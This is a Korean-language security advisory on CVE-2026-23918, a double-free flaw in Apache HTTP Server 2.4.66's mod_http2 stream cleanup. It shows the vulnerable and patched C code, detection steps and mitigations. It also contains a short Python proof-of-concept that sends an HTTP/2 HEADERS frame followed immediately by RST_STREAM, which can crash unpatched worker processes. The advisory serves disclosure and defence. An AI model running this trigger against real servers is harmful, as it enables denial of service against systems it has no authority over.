NOW Briefing
mod_http2 스트림 정리 경로(h2_mplx.c)에서 발생하는 Double Free(이중 해제) 취약점입니다.
mod_http2 비활성화 또는 MPM prefork 전환을 임시 조치로 검토해야 합니다.
Apache HTTP Server HTTP/2 Double Free 취약점 (CVE-2026-23918)
개요
CVE-2026-23918은 Apache HTTP Server 2.4.66의 HTTP/2 처리 모듈(mod_http2)에서 발생하는 Double Free 취약점입니다. HTTP/2 스트림이 멀티플렉서에 등록되기 전 단계에서, 클라이언트가 HEADERS 프레임 직후 RST_STREAM 프레임을 전송하는 “스트림 조기 종료(early stream reset)” 시퀀스를 사용하면 동일한 h2_stream 포인터가 정리(cleanup) 큐에 중복 적재될 수 있습니다.
그 결과 동일한 메모리가 두 번 해제되어 워커 프로세스가 충돌하고 서비스 거부가 발생할 수 있습니다. APR 메모리 할당자 구성에 따라 원격 코드 실행 가능성도 함께 보고되었습니다.
Apache는 본 이슈를 “Double Free and possible RCE”로 명시했으며, 2026년 5월 4일 공개된 2.4.67 버전에서 패치되었습니다. Apache HTTP Server는 전 세계 웹 인프라의 핵심 구성 요소이며, HTTP/2는 다수의 리버스 프록시·CDN 오리진·인증 포털에서 사용됩니다. 따라서 인터넷에 노출된 자산을 우선 식별하여 신속히 대응해야 합니다.
요약
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2026-23918 (Apache HTTP Server HTTP/2 Double Free) |
| CVSS 점수 | CVSS v3.1 8.8 / High |
| 취약점 유형 | CWE-415 (Double Free), HTTP/2 스트림 정리 경로의 이중 해제 |
| 영향/위험 | - 비인증 원격 공격자에 의한 워커 프로세스 충돌(서비스 거부) - APR mmap 할당자 환경에서 원격 코드 실행 가능성 - HTTP/2가 활성화된 인터넷 노출 서버 전반에 영향 - 멀티스레드 MPM(worker, event) 사용 시 트리거 |
| 취약 버전 | Apache HTTP Server 2.4.66 (HTTP/2 활성화, 멀티스레드 MPM 사용 시) |
| 패치 버전 | Apache HTTP Server 2.4.67 |
기술 분석
CVE-2026-23918은 Apache HTTP/2 모듈(mod_http2)의 멀티플렉서 스트림 정리 과정에서 발생하는 Double Free 취약점입니다. 클라이언트가 HEADERS 프레임 전송 직후 오류 상태의 RST_STREAM 프레임을 전송하면, 스트림 정리 루틴이 연속 실행되면서 동일한 h2_stream 포인터가 정리 배열(spurge)에 중복 삽입될 수 있습니다. 이후 purge 처리 단계에서 동일 스트림 객체가 두 번 해제되며 Double Free가 발생합니다.
/* [패치 전] Vulnerable: 동일 stream 포인터를 검증 없이 spurge에 삽입 */
static void m_stream_cleanup(h2_mplx *m, h2_stream *stream)
{
/* ... 생략 ... */
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
/* ... 생략 ... */
}
패치 전에는 m_stream_cleanup() 등에서 APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream; 구문을 통해 동일 스트림을 중복 검증 없이 spurge 배열에 직접 삽입했습니다. 이 구조에서는 서로 다른 정리 경로가 연속 실행될 경우 동일한 스트림 포인터가 spurge에 두 번 등록될 수 있었습니다.
/* [패치 후] Patched: add_for_purge()를 통해 spurge 중복 삽입 방지 */
static int add_for_purge(h2_mplx *m, h2_stream *stream)
{
int i;
for (i = 0; i < m->spurge->nelts; ++i) {
h2_stream *s = APR_ARRAY_IDX(m->spurge, i, h2_stream*);
if (s == stream)
return FALSE;
}
APR_ARRAY_PUSH(m->spurge, h2_stream *) = stream;
return TRUE;
}
static void m_stream_cleanup(h2_mplx *m, h2_stream *stream)
{
/* ... 생략 ... */
add_for_purge(m, stream);
/* ... 생략 ... */
}
패치 후에는 add_for_purge() 함수가 추가되어 spurge 배열을 순회하며 동일한 stream 포인터의 등록 여부를 먼저 확인합니다. 이미 등록된 경우에는 FALSE를 반환하고 추가 삽입을 수행하지 않으며, 등록되지 않은 경우에만 APR_ARRAY_PUSH()로 정리 배열에 삽입합니다.
따라서 이 취약점의 핵심 원인은 스트림 정리 대상 등록 시 중복 여부를 검증하지 않은 데 있습니다. 패치는 spurge 배열에 대한 중복 삽입 방지 로직을 추가해 동일 스트림 객체가 두 번 purge되는 경로를 차단합니다.
PoC
공개된 PoC는 HTTP/2 프로토콜의 특성을 악용해 HEADERS 프레임과 RST_STREAM 프레임을 빠르게 교차 전송함으로써, Apache 워커 프로세스의 메모리 관리 허점을 찔러 충돌(SIGSEGV)을 유발합니다.
아래 코드는 해당 취약점의 핵심 트리거 시나리오를 구현한 최소 단위의 방어적 점검 예시입니다. 실제 공격과 달리 반복 루프나 대량의 페이로드를 제외하여, 점검 대상 시스템의 가용성에 영향을 주지 않으면서 프레임 처리 로직의 취약 여부만 식별하도록 설계되었습니다.
# CVE-2026-23918 방어적 점검 스크립트
# [참고 사항]
# 본 코드는 취약점의 기술적 메커니즘을 증명하기 위한 단발성 시퀀스만을 포함하며,
# 실제 공격에 사용되는 대규모 페이로드 및 자동화 재현 절차는 의도적으로 제외되었습니다.
# 사용 전제: 명시적 점검 승인을 받은 시스템에서만 실행하십시오.
import socket, ssl
from h2.connection import H2Connection
def run_poc(host):
# 1. HTTP/2 연결 설정
conn = H2Connection()
conn.initiate_connection()
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
with socket.create_connection((host, 443)) as sock:
with ctx.wrap_socket(sock, server_hostname=host) as ssock:
ssock.sendall(conn.data_to_send()) # 초기 핸드쉐이크
# 2. 핵심 시퀀스: HEADERS + RST_STREAM 즉시 전송
conn.send_headers(1, [(':method', 'GET'), (':path', '/'), (':authority', host)])
conn.reset_stream(1)
ssock.sendall(conn.data_to_send())
print(f"[*] {host}: PoC Sequence Sent.")
if __name__ == "__main__":
run_poc("internal-test.example.com")
본 코드는 공개된 PoC를 바탕으로 작성되었으며, 서비스 거부(DoS) 유발 목적이 아니라 내부 인프라의 보안성 강화를 위한 단순화된 검증 절차만을 포함합니다.
탐지 및 점검
📌 NOTE
핵심 점검 기준은 Apache 2.4.66, HTTP/2 활성화, event/worker MPM 여부이며, 세 조건이 함께 충족되면 우선 조치 대상.
• 설치된 Apache 빌드를 확인합니다.httpd -v 또는 apachectl -v 결과에 Apache/2.4.66이 포함되면 직접 영향 대상입니다. RPM/DEB 패키지명(httpd, apache2, ea-apache24)도 함께 점검합니다.
• HTTP/2 활성화 여부를 확인합니다.
설정 파일의 Protocols 디렉티브에 h2, h2c가 포함되어 있는지 확인하고, curl -sI --http2 https://대상도메인으로 협상 결과가 HTTP/2인지 점검합니다.
• MPM 모드를 확인합니다.httpd -V | grep -i 'Server MPM' 또는 apachectl -V 출력에서 MPM이 event 또는 worker이면 취약 트리거 조건에 해당합니다. prefork이면 본 이슈는 트리거되지 않습니다.
• 워커 충돌 흔적을 확인합니다.error_log에 child pid ... exit signal Segmentation fault (11) 또는 child process ... exited with non-zero status가 평소보다 자주 기록되거나, systemd-coredump에 httpd/apache2 코어가 누적되면 DoS 공격 신호로 의심할 수 있습니다.
• HTTP/2 트래픽 이상 패턴을 확인합니다.
동일 클라이언트·세션에서 HEADERS 직후 비정상적으로 짧은 시간에 RST_STREAM(비정상 에러 코드(Non-zero))이 반복되는 시퀀스, HTTP/2 연결 리셋률 급증, 동일 IP의 짧은 연결 다발은 NDR/IDS 또는 mod_log_h2 기반 로그에서 우선 검토합니다.
대응 방안
💡 TIP
인터넷에 노출된 Apache 2.4.66은 우선 패치 혹은 HTTP/2 차단 필요. 내부 시스템은 영향도를 확인한 뒤 2.4.67로 순차 통합하며, 우회 조치는 임시 대응이므로 정식 업그레이드 일정 별도 등록.
• Apache HTTP Server를 2.4.67 이상으로 업그레이드합니다. 동일 릴리스에서 CVE-2026-24072(mod_rewrite), CVE-2026-28780(mod_proxy_ajp) 등 추가 취약점도 함께 해소되므로, 부분 백포트(Backport)보다 정식 업그레이드를 우선합니다.
• 즉시 업그레이드가 어렵다면 Protocols http/1.1 설정으로 HTTP/2 협상을 차단하거나, mod_http2를 비활성화(a2dismod http2 또는 LoadModule http2_module ... 주석 처리)하여 취약 코드 경로를 제거합니다.
• HTTP/2를 유지해야 하는 경우 MPM을 prefork로 전환하는 임시 조치를 검토할 수 있습니다. 다만 동시성·메모리 특성이 달라질 수 있으므로 사전 부하 검토가 필요합니다.
• 인터넷에 노출된 리버스 프록시·CDN 오리진·인증 포털·SSO 프론트엔드 중 Apache 2.4.66 + HTTP/2 조합을 우선순위 1로 식별하고 패치 또는 차단을 선행합니다.
• WAF·NDR에 HTTP/2 HEADERS 직후 비정상 에러 코드(Non-zero) RST_STREAM 반복 시퀀스에 대한 임계 기반 탐지 규칙을 추가합니다. 패치 적용 전후에는 워커 코어덤프와 error_log 보존 정책을 일시 강화합니다.
References
- Apache HTTP Server 2.4 vulnerabilities (공식 보안 권고)
- CVE-2026-23918 — NVD Detail
- oss-security: CVE-2026-23918: Apache HTTP Server: http2: double free and possible RCE on early reset
- The Hacker News — Critical Apache HTTP/2 Flaw (CVE-2026-23918) Enables DoS and Potential RCE
- Hadrian — Apache CVE-2026-23918 HTTP/2 Double-Free RCE Explained
- SOCRadar — CVE-2026-23918: Apache HTTP Server HTTP/2 Double Free With Possible RCE
- 12lie20 — CVE-2026-23918 Test Repository
- rhasan-com — CVE-2026-23918 Repository


